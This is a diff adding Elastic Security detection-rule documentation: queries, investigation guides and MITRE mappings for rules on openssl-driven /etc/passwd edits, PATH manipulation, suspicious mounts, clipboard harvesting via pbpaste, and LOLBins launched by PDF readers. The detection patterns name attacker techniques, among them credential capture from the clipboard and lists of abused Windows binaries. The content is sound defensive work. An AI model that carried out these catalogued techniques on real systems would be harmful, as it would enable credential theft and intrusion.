the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule the following additional audit rules are required to be added to the integration: + -- "-w /etc/passwd -p wa -k etcpasswd" + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.pid with maxspan=1m + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name == "openssl" and process.args == "passwd" and user.id != "0"] + [file where host.os.type == "linux" and file.path == "/etc/passwd" and process.parent.pid != 1 and + not auditd.data.a2 == "80000" and event.outcome == "success" and user.id != "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-path-invocation-from-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-path-invocation-from-command-line.asciidoc new file mode 100644 index 0000000000..28a88f02f5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-path-invocation-from-command-line.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-suspicious-path-invocation-from-command-line]] +=== Suspicious Path Invocation from Command Line + +This rule detects the execution of a PATH variable in a command line invocation by a shell process. This behavior is unusual and may indicate an attempt to execute a command from a non-standard location. This technique may be used to evade detection or perform unauthorized actions on the system. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.exatrack.com/Perfctl-using-portainer-and-new-persistences/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Path Invocation from Command Line* + + +In Linux environments, shell processes like bash or zsh execute commands, often using the PATH variable to locate executables. Adversaries may manipulate PATH to run malicious scripts from non-standard directories, evading detection. The detection rule identifies unusual PATH assignments in command lines, signaling potential unauthorized actions by monitoring specific shell invocations and command patterns. + + +*Possible investigation steps* + + +- Review the command line details captured in the alert to identify the specific PATH assignment and the command being executed. This can provide insight into whether the command is expected or potentially malicious. +- Check the process tree to understand the parent process and any child processes spawned by the suspicious shell invocation. This can help determine the context in which the command was executed. +- Investigate the user account associated with the process to determine if the activity aligns with the user's typical behavior or if the account may have been compromised. +- Examine the directory from which the command is being executed to verify if it is a non-standard or suspicious location. Look for any unusual files or scripts in that directory. +- Cross-reference the event with other security logs or alerts to identify any correlated activities that might indicate a broader attack or compromise. +- Assess the system's recent changes or updates to determine if they could have inadvertently caused the PATH modification or if it was intentionally altered by an adversary. + + +*False positive analysis* + + +- System administrators or developers may intentionally modify the PATH variable for legitimate purposes, such as testing scripts or applications in development environments. To handle this, create exceptions for known users or specific directories commonly used for development. +- Automated scripts or configuration management tools might alter the PATH variable as part of their normal operation. Identify these scripts and exclude their execution paths or user accounts from triggering alerts. +- Some software installations or updates may temporarily change the PATH variable to include non-standard directories. Monitor installation processes and whitelist these activities when performed by trusted sources. +- Custom shell configurations or user profiles might include PATH modifications for convenience or performance reasons. Review and document these configurations, and exclude them from detection if they are verified as non-threatening. +- Educational or training environments where users experiment with shell commands may frequently trigger this rule. Consider excluding specific user groups or environments dedicated to learning and experimentation. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or data exfiltration. +- Terminate any suspicious processes identified by the alert to stop any ongoing unauthorized actions. +- Review the command history and PATH variable changes on the affected system to identify any unauthorized modifications or scripts executed from non-standard directories. +- Restore the PATH variable to its default state to ensure that only trusted directories are used for command execution. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection tools to identify and remove any malicious scripts or files. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement monitoring for similar PATH manipulation attempts across the network to enhance detection and prevent recurrence. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and +process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and process.args:-c and +process.command_line:*PATH=* and +not ( + process.command_line:(*_PATH=* or *PYTHONPATH=* or sh*/run/motd.dynamic.new) or + process.parent.executable:( + "/opt/puppetlabs/puppet/bin/puppet" or /var/lib/docker/overlay2/* or /vz/root/*/dovecot or + "/usr/libexec/dovecot/auth" or /home/*/.local/share/containers/* or /vz/root/*/dovecot/auth or + "/usr/local/bin/ansible-playbook" or "/opt/puppetlabs/puppet/bin/ruby" or /tmp/CVU_19_resource_*/exectask or + "/opt/ds_agent/ds_agent" or "/usr/lib/systemd/systemd" or "/opt/TrendMicro/vls_agent/vls_agent" or + "/opt/Tanium/TaniumClient/TaniumCX" + ) or + process.parent.command_line:"runc init" or + process.parent.name:(gmake or sshd or sudo or make or ninja or ninja-build or steam or sshd-session) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Path Interception by PATH Environment Variable +** ID: T1574.007 +** Reference URL: https://attack.mitre.org/techniques/T1574/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-path-mounted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-path-mounted.asciidoc new file mode 100644 index 0000000000..642a3eca43 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-path-mounted.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-suspicious-path-mounted]] +=== Suspicious Path Mounted + +This rule detects suspicious paths mounted on Linux systems. The mount command is used to attach filesystems to the system, and attackers may use it to mount malicious filesystems or directories for data exfiltration or persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Path Mounted* + + +In Linux environments, the mount command integrates filesystems, enabling access to storage devices. Adversaries exploit this by mounting malicious filesystems in sensitive directories like /tmp or /dev/shm to exfiltrate data or maintain persistence. The detection rule identifies such activities by monitoring the execution of the mount command in unusual paths, excluding legitimate parent processes, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of the mount command, focusing on the process.name and process.args fields to identify the specific path being mounted. +- Examine the process.parent.executable field to determine the parent process that initiated the mount command, ensuring it is not a known legitimate process. +- Investigate the user account associated with the process to determine if it is a privileged account or if there are any signs of compromise. +- Check for any recent changes or anomalies in the mounted directories, such as unexpected files or modifications, to assess potential data exfiltration or persistence activities. +- Correlate the event with other security alerts or logs from the same host to identify any related suspicious activities or patterns that could indicate a broader attack. + + +*False positive analysis* + + +- System maintenance scripts may trigger the rule if they mount filesystems in monitored paths. Review and whitelist these scripts by adding their parent executable paths to the exclusion list. +- Backup processes that temporarily mount directories for data transfer can be mistaken for suspicious activity. Identify these processes and exclude their parent executables to prevent false alerts. +- Software installations or updates that require mounting filesystems in user directories might be flagged. Verify these activities and add the responsible parent executables to the exclusion criteria. +- Development tools that use temporary mounts for testing purposes can generate false positives. Recognize these tools and exclude their parent executables to reduce noise. +- Custom administrative scripts that perform legitimate mounting operations should be reviewed and, if deemed safe, their parent executables should be added to the exclusion list. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further data exfiltration or persistence by disconnecting it from the network. +- Terminate any suspicious mount processes identified in the alert to halt potential malicious activity. +- Conduct a thorough review of mounted filesystems and directories to identify and unmount any unauthorized or suspicious mounts. +- Restore any compromised files or directories from backups, ensuring they are clean and free from malicious modifications. +- Implement stricter access controls and permissions on sensitive directories like /tmp, /var/tmp, /dev/shm, /home, and /root to prevent unauthorized mounting. +- Escalate the incident to the security operations team for further investigation and to assess the scope of the threat, including potential lateral movement or additional compromised systems. +- Enhance monitoring and detection capabilities by configuring alerts for unusual mount activities and integrating threat intelligence feeds to identify similar tactics used by adversaries. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "mount" and +process.args like ("/tmp/*", "/var/tmp/*", "/dev/shm/*", "/home/*", "/root/*", "/mount") and process.parent.executable != null and +not ( + process.parent.executable like ( + "/bin/*", "/usr/bin/*", "/usr/local/bin/*", "/sbin/*", "/usr/sbin/*", "/usr/local/sbin/*", "/usr/libexec/*", + "/usr/local/nutanix/ngt/*/python" + ) or + process.parent.executable in ( + "/usr/lib/uptrack/ksplice-apply", "/usr/lib/Acronis/BackupAndRecovery/mms", + "/usr/lib/Acronis/BackupAndRecovery/service_process-bin", "/usr/lib/systemd/systemd", "/etc/grub.d/10_linux_zfs", + "./tools/image-summary", "/nfsplugin", "/usr/share/ksplice/ksplice-apply", "/lib/systemd/systemd" + ) or + process.parent.name == "snapd" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-pbpaste-high-volume-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-pbpaste-high-volume-activity.asciidoc new file mode 100644 index 0000000000..c13b88e88b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-pbpaste-high-volume-activity.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-suspicious-pbpaste-high-volume-activity]] +=== Suspicious pbpaste High Volume Activity + +Identifies a high volume of `pbpaste` executions, which may indicate a bash loop continuously collecting clipboard contents, potentially allowing an attacker to harvest user credentials or other sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* logs-jamf_protect* +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.loobins.io/binaries/pbpaste/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Jamf Protect +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: macOS +* Data Source: Jamf Protect Event Logs + +*Version*: 6 + +*Rule authors*: + +* Thijs Xhaflaire + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +To investigate `pbpaste` activity, focus on determining whether the binary is being used maliciously to collect clipboard data. Follow these steps: + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + +1. **Identify Frequency and Pattern of Execution:** + - **What to check:** Analyze the frequency and timing of `pbpaste` executions. Look for consistent intervals that might indicate a script or loop is running. + - **Why:** A high volume of regular `pbpaste` executions could suggest a bash loop designed to continuously capture clipboard data. + +2. **Examine Associated Scripts or Processes:** + - **What to check:** Investigate the parent processes or scripts invoking `pbpaste`. Look for any cron jobs, bash scripts, or automated tasks linked to these executions. + - **Why:** Understanding what is triggering `pbpaste` can help determine if this activity is legitimate or part of a malicious attempt to gather sensitive information. + - !{investigate{"label":"Show events having the same parent process","providers":[[{"excluded":false,"field":"host.hostname","queryType":"phrase","value":"{{host.hostname}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]]}} + - $investigate_2 + +3. **Review Clipboard Contents:** + - **What to check:** If possible, capture and review the clipboard contents during `pbpaste` executions to identify if sensitive data, such as user credentials, is being targeted. + - **Why:** Attackers may use `pbpaste` to harvest valuable information from the clipboard. Identifying the type of data being collected can indicate the severity of the threat. + +4. **Check for Data Exfiltration:** + - **What to check:** Investigate any output files or network activity associated with `pbpaste` usage. Look for signs that the collected data is being saved to a file, transmitted over the network, or sent to an external location. + - **Why:** If data is being stored or transmitted, it may be part of an exfiltration attempt. Identifying this can help prevent sensitive information from being leaked. + +5. **Correlate with User Activity:** + - **What to check:** Compare the `pbpaste` activity with the user’s normal behavior and system usage patterns. + - **Why:** If the `pbpaste` activity occurs during times when the user is not active, or if the user denies initiating such tasks, it could indicate unauthorized access or a compromised account. + +By thoroughly investigating these aspects of `pbpaste` activity, you can determine whether this is part of a legitimate process or a potential security threat that needs to be addressed. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Jamf Protect. + + +*Jamf Protect Integration Setup* + +Jamf Protect is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events incoming events and send data to the Elastic. + + +*Prerequisite Requirements:* + +- Fleet is required for Jamf Protect. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Jamf Protect integration:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Jamf Protect" and select the integration to see more details about it. +- Click "Add Jamf Protect". +- Configure the integration name. +- Click "Save and Continue". + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.hostname, host.id with maxspan=1m +[process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and process.name: "pbpaste"] with runs = 5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Input Capture +** ID: T1056 +** Reference URL: https://attack.mitre.org/techniques/T1056/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Clipboard Data +** ID: T1115 +** Reference URL: https://attack.mitre.org/techniques/T1115/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-pdf-reader-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-pdf-reader-child-process.asciidoc new file mode 100644 index 0000000000..7c46331ed7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-pdf-reader-child-process.asciidoc @@ -0,0 +1,254 @@ +[[prebuilt-rule-8-19-34-suspicious-pdf-reader-child-process]] +=== Suspicious PDF Reader Child Process + +Identifies suspicious child processes of PDF reader applications. These child processes are often launched via exploitation of PDF applications or social engineering. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious PDF Reader Child Process* + + +PDF is a common file type used in corporate environments and most machines have software to handle these files. This creates a vector where attackers can exploit the engines and technology behind this class of software for initial access or privilege escalation. + +This rule looks for commonly abused built-in utilities spawned by a PDF reader process, which is likely a malicious behavior. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve PDF documents received and opened by the user that could cause this behavior. Common locations include, but are not limited to, the Downloads and Document folders and the folder configured at the email client. +- Determine if the collected files are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("AcroRd32.exe", + "Acrobat.exe", + "FoxitPhantomPDF.exe", + "FoxitReader.exe") and + process.name : ("arp.exe", "dsquery.exe", "dsget.exe", "gpresult.exe", "hostname.exe", "ipconfig.exe", "nbtstat.exe", + "net.exe", "net1.exe", "netsh.exe", "netstat.exe", "nltest.exe", "ping.exe", "qprocess.exe", + "quser.exe", "qwinsta.exe", "reg.exe", "sc.exe", "systeminfo.exe", "tasklist.exe", "tracert.exe", + "whoami.exe", "bginfo.exe", "cdb.exe", "cmstp.exe", "csi.exe", "dnx.exe", "fsi.exe", "ieexec.exe", + "iexpress.exe", "installutil.exe", "Microsoft.Workflow.Compiler.exe", "msbuild.exe", "mshta.exe", + "msxsl.exe", "odbcconf.exe", "rcsi.exe", "regsvr32.exe", "xwizard.exe", "atbroker.exe", + "forfiles.exe", "schtasks.exe", "regasm.exe", "regsvcs.exe", "cmd.exe", "cscript.exe", + "powershell.exe", "pwsh.exe", "wmic.exe", "wscript.exe", "bitsadmin.exe", "certutil.exe", "ftp.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Sub-technique: +** Name: Internet Connection Discovery +** ID: T1016.001 +** Reference URL: https://attack.mitre.org/techniques/T1016/001/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-portable-executable-encoded-in-powershell-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-portable-executable-encoded-in-powershell-script.asciidoc new file mode 100644 index 0000000000..84cf0b5da7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-portable-executable-encoded-in-powershell-script.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-suspicious-portable-executable-encoded-in-powershell-script]] +=== Suspicious Portable Executable Encoded in Powershell Script + +Detects PowerShell scripts that includes a base64-encoded portable executable (PE) header, indicating an embedded binary payload. Attackers embed PEs in scripts to load payloads in memory and avoid writing executables to disk. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + 